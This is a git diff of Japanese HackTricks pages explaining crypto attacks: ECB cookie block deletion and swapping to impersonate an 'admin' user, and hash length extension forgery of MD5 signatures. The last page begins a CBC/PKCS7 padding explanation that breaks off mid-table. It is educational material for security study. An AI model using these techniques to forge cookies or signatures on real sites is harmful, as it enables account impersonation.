<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**または**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com) を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションをチェックする
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に**参加する**か、[**telegram グループ**](https://t.me/peass) に参加する、または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を **フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングのコツを **共有する**。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,46 +1,46 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) Electronic Code Book - 対称暗号化方式で、**クリアテキストの各ブロック**を**暗号文のブロック**で置き換えます。これは**最も単純な**暗号化方式です。主なアイデアは、クリアテキストを**Nビットのブロック**(入力データのブロックサイズ、暗号化アルゴリズムに依存)に**分割**し、その後、唯一の鍵を使用して各クリアテキストのブロックを暗号化(復号化)することです。
|
||||
ECB(Electronic Code Book)- 対称暗号化方式で、**平文の各ブロック**を**暗号文のブロック**に置き換えます。これは**最も単純な**暗号化方式です。主な考え方は、平文を**Nビットのブロック**に**分割**すること(ブロックのサイズや暗号化アルゴリズムに依存します)し、その後、唯一の鍵を使用して各平文ブロックを暗号化(復号)します。
|
||||
|
||||
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
|
||||
|
||||
ECBの使用には、複数のセキュリティ上の問題があります:
|
||||
ECBを使用することには複数のセキュリティ上の問題があります:
|
||||
|
||||
* 暗号化されたメッセージから**ブロックを削除**することができます。
|
||||
* 暗号化されたメッセージから**ブロックを移動**することができます。
|
||||
* **暗号化されたメッセージからブロックを削除できる**
|
||||
* **暗号化されたメッセージのブロックを移動できる**
|
||||
|
||||
# 脆弱性の検出
|
||||
|
||||
アプリケーションに複数回ログインし、**常に同じクッキー**を取得すると想像してください。これは、アプリケーションのクッキーが**`<username>|<password>`**であるためです。\
|
||||
次に、**同じ長いパスワード**と**ほぼ同じ** **ユーザー名**を持つ新しいユーザーを2人生成します。\
|
||||
**2つのデコードされたクッキー**には、ブロック**`\x23U\xE45K\xCB\x21\xC8`**が複数回含まれていることに注意してください。
|
||||
あなたがアプリケーションに何度もログインし、**常に同じクッキーを取得する**と想像してください。これは、アプリケーションのクッキーが**`<username>|<password>`**であるためです。\
|
||||
その後、**同じ長いパスワード**と**ほぼ同じ** **ユーザー名**を持つ2つの新しいユーザーを生成します。\
|
||||
**8Bのブロック**で、**両方のユーザーの情報**が同じである部分が**等しい**ことがわかります。それから、これは**ECBが使用されている**可能性があると想像します。
|
||||
|
||||
以下の例のように。これらの**2つのデコードされたクッキー**が、ブロック**`\x23U\xE45K\xCB\x21\xC8`**を何度も含んでいることに注目してください。
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
これは、クッキーの**ユーザー名とパスワードに複数回文字 "a" が含まれていた**ためです(例えば)。**異なる**ブロックは、**少なくとも1つの異なる文字**(おそらく区切り記号 "|" またはユーザー名に必要な違い)を含んでいるブロックです。
|
||||
これは、**クッキーのユーザー名とパスワードに「a」の文字が何度も含まれていたためです**(例として)。**異なるブロック**は、**少なくとも1つの異なる文字**(おそらく区切り文字「|」やユーザー名に必要な違い)を含んでいたブロックです。
|
||||
|
||||
さて、攻撃者は単に、`<username><delimiter><password>` または `<password><delimiter><username>` の形式を見つける必要があります。そのために、彼は単に**類似した長いユーザー名とパスワードを持つ複数のユーザー名**を生成し、区切り記号の形式と長さを見つけるまで続けることができます。
|
||||
今、攻撃者はフォーマットが `<username><delimiter><password>` か `<password><delimiter><username>` かを見つけるだけです。これを行うために、彼は**似たような長いユーザー名とパスワードをいくつか生成し、フォーマットと区切り文字の長さを見つけるまで続けます:**
|
||||
|
||||
| ユーザー名の長さ | パスワードの長さ | ユーザー名+パスワードの長さ | クッキーの長さ(デコード後) |
|
||||
| ユーザー名の長さ: | パスワードの長さ: | ユーザー名+パスワードの長さ: | クッキーの長さ(デコード後): |
|
||||
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
|
@ -50,27 +50,29 @@ ECBの使用には、複数のセキュリティ上の問題があります:
|
|||
|
||||
# 脆弱性の悪用
|
||||
|
||||
クッキーの形式を知っている(`<username>|<password>`)、ユーザー名 `admin` をなりすますために、`aaaaaaaaadmin` という新しいユーザーを作成し、クッキーを取得してデコードします:
|
||||
## ブロック全体の削除
|
||||
|
||||
クッキーのフォーマット(`<username>|<password>`)を知っているため、`admin`としてなりすますには、`aaaaaaaaadmin`という新しいユーザーを作成し、クッキーを取得してデコードします:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
以前に作成されたユーザー名には、`\x23U\xE45K\xCB\x21\xC8`というパターンが見られます。\
|
||||
次に、最初の8Bのブロックを削除すると、ユーザー名`admin`の有効なクッキーが得られます。
|
||||
以下のパターン `\x23U\xE45K\xCB\x21\xC8` は、以前に `a` のみを含むユーザーネームで作成されました。\
|
||||
その後、最初の8Bブロックを削除すると、ユーザーネーム `admin` のための有効なクッキーを得ることができます:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
## ブロックの移動
|
||||
|
||||
多くのデータベースでは、`WHERE username='admin';` と `WHERE username='admin ';` の検索は同じです。 _(余分なスペースに注意)_
|
||||
多くのデータベースでは、`WHERE username='admin';` と検索するのと `WHERE username='admin ';` _(余分なスペースに注意)_ と検索するのは同じです。
|
||||
|
||||
したがって、ユーザー `admin` をなりすます別の方法は次のとおりです。
|
||||
したがって、ユーザー `admin` になりすます別の方法は以下の通りです:
|
||||
|
||||
* `len(<username>) + len(<delimiter) % len(block)` となるようなユーザー名を生成します。ブロックサイズが `8B` の場合、`username ` というユーザー名を生成できます。デリミタには `|` を使用し、チャンク `<username><delimiter>` は 2 つの 8B ブロックを生成します。
|
||||
* 次に、ユーザー名とスペースを含むブロックの正確な数を埋めるパスワードを生成します。例えば、`admin ` というパスワードを生成します。
|
||||
* ユーザー名を生成します:`len(<username>) + len(<delimiter) % len(block)`。ブロックサイズが `8B` の場合、区切り文字 `|` を使って `username ` というユーザー名を生成できます。これにより、`<username><delimiter>` のチャンクが 8B の 2 ブロックを生成します。
|
||||
* 次に、偽装したいユーザー名とスペースを含む、正確なブロック数を埋めるパスワードを生成します。例えば:`admin `
|
||||
|
||||
このユーザーのクッキーは、3 つのブロックで構成されます。最初の 2 つはユーザー名 + デリミタのブロックであり、3 つ目はパスワードのブロックです(ユーザー名を偽装しています):`username |admin `
|
||||
このユーザーのクッキーは 3 ブロックで構成されます:最初の 2 ブロックはユーザー名 + 区切り文字で、3 番目のブロックはパスワード(ユーザー名を偽装している)です:`username |admin `
|
||||
|
||||
** その後、最初のブロックを最後のブロックと置き換えるだけで、ユーザー `admin` をなりすませることができます:`admin |username`**
|
||||
** そして、最初のブロックを最後のブロックと置き換えるだけで、ユーザー `admin` になりすますことができます:`admin |username`**
|
||||
|
||||
# 参考文献
|
||||
|
||||
|
@ -79,16 +81,14 @@ ECBの使用には、複数のセキュリティ上の問題があります:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS ハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンや HackTricks の PDF をダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な [**NFT**](https://opensea.io/collection/the-peass-family) のコレクションです。
|
||||
|
||||
- [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)に PR を提出してください。**
|
||||
* **HackTricks にあなたの**会社を広告掲載したい場合や、**HackTricks を PDF でダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォロー**する。
|
||||
* **HackTricks** の GitHub リポジトリ [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) に PR を提出して、あなたのハッキングのコツを共有する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,44 +1,42 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 攻撃の概要
|
||||
|
||||
あるサーバーが、既知のクリアテキストデータに**秘密情報**を**追加**し、そのデータをハッシュ化して**署名**していると想像してください。以下の情報がわかる場合:
|
||||
サーバーが**秘密**を既知のクリアテキストデータに**追加**してそのデータをハッシュ化することで、ある**データ**に**署名**していると想像してください。以下が分かっている場合:
|
||||
|
||||
* **秘密情報の長さ**(これは与えられた長さ範囲からもブルートフォースできます)
|
||||
* **秘密の長さ**(これは与えられた長さの範囲からもブルートフォースできます)
|
||||
* **クリアテキストデータ**
|
||||
* **アルゴリズム(この攻撃に対して脆弱)**
|
||||
* **パディングが既知である**
|
||||
* 通常、デフォルトのパディングが使用されるため、他の3つの要件が満たされている場合、これも満たされます
|
||||
* パディングは秘密情報+データの長さによって異なるため、秘密情報の長さが必要です
|
||||
* **アルゴリズム(そしてそれがこの攻撃に対して脆弱である)**
|
||||
* **パディングが分かっている**
|
||||
* 通常、デフォルトのものが使用されるので、他の3つの要件が満たされていれば、これも満たされます
|
||||
* パディングは秘密+データの長さによって異なるため、秘密の長さが必要です
|
||||
|
||||
すると、**攻撃者**は**データを追加**し、**前のデータ+追加されたデータ**の有効な**署名**を**生成**することができます。
|
||||
その場合、**攻撃者**は**データ**を**追加**して、**以前のデータ + 追加されたデータ**に対する有効な**署名**を**生成**することが可能です。
|
||||
|
||||
## 方法
|
||||
## どのように?
|
||||
|
||||
基本的に、脆弱なアルゴリズムは、まず**データのブロック**をハッシュ化し、その後、**以前に**作成された**ハッシュ**(状態)から**次のデータのブロック**を**追加**して**ハッシュ化**します。
|
||||
基本的に脆弱なアルゴリズムは、まず**データブロックをハッシュ化**し、その後、**以前に生成されたハッシュ**(状態)から、次のデータブロックを**追加**して**ハッシュ化**します。
|
||||
|
||||
例えば、秘密情報が「secret」でデータが「data」である場合、"secretdata"のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\
|
||||
攻撃者が文字列「append」を追加したい場合、次の手順を実行できます:
|
||||
例えば、秘密が"secret"でデータが"data"の場合、"secretdata"のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\
|
||||
攻撃者が文字列"append"を追加したい場合、彼は以下のことができます:
|
||||
|
||||
* 64個の「A」のMD5を生成します。
|
||||
* 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更します。
|
||||
* 文字列「append」を追加します。
|
||||
* ハッシュを終了し、結果のハッシュは「secret」+「data」+「パディング」+「append」に対して**有効なハッシュ**になります。
|
||||
* 64個の"A"のMD5を生成する
|
||||
* 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する
|
||||
* 文字列"append"を追加する
|
||||
* ハッシュを完了し、結果のハッシュは"secret" + "data" + "padding" + "append"に対して**有効なものになります**
|
||||
|
||||
## **ツール**
|
||||
|
||||
|
@ -46,21 +44,19 @@
|
|||
|
||||
# 参考文献
|
||||
|
||||
この攻撃については、[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)で詳しく説明されています。
|
||||
この攻撃についてよく説明されているのは[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)で見つけることができます。
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,23 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
CBCモードでは、**前の暗号化されたブロックがIVとして使用**され、次のブロックとXORされます:
|
||||
CBCモードでは、**前の暗号化されたブロックがIVとして使用され**、次のブロックとXORされます:
|
||||
|
||||
![CBC encryption](https://defuse.ca/images/cbc\_encryption.png)
|
||||
|
||||
|
@ -25,14 +23,14 @@ CBCを復号するには、**逆の操作**が行われます:
|
|||
|
||||
![CBC decryption](https://defuse.ca/images/cbc\_decryption.png)
|
||||
|
||||
暗号化には**暗号化キー**と**IV**が必要です。
|
||||
**暗号化キー**と**IV**の使用が必要であることに注意してください。
|
||||
|
||||
# メッセージのパディング
|
||||
# メッセージパディング
|
||||
|
||||
暗号化は**固定サイズのブロック**で行われるため、通常は**最後のブロック**にパディングが必要です。\
|
||||
通常は**PKCS7**が使用され、ブロックを**完全にするために必要なバイト数**を**繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。
|
||||
暗号化は**固定サイズのブロック**で行われるため、通常、**最後のブロック**を完成させるために**パディング**が必要です。
|
||||
通常は**PKCS7**が使用され、ブロックを完成させるために必要な**バイト数を繰り返す**パディングが生成されます。例えば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。
|
||||
|
||||
**8バイトの2つのブロック**のさらなる例を見てみましょう:
|
||||
**8バイト長の2ブロック**の例をもっと見てみましょう:
|
||||
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
|
@ -41,55 +39,43 @@ CBCを復号するには、**逆の操作**が行われます:
|
|||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
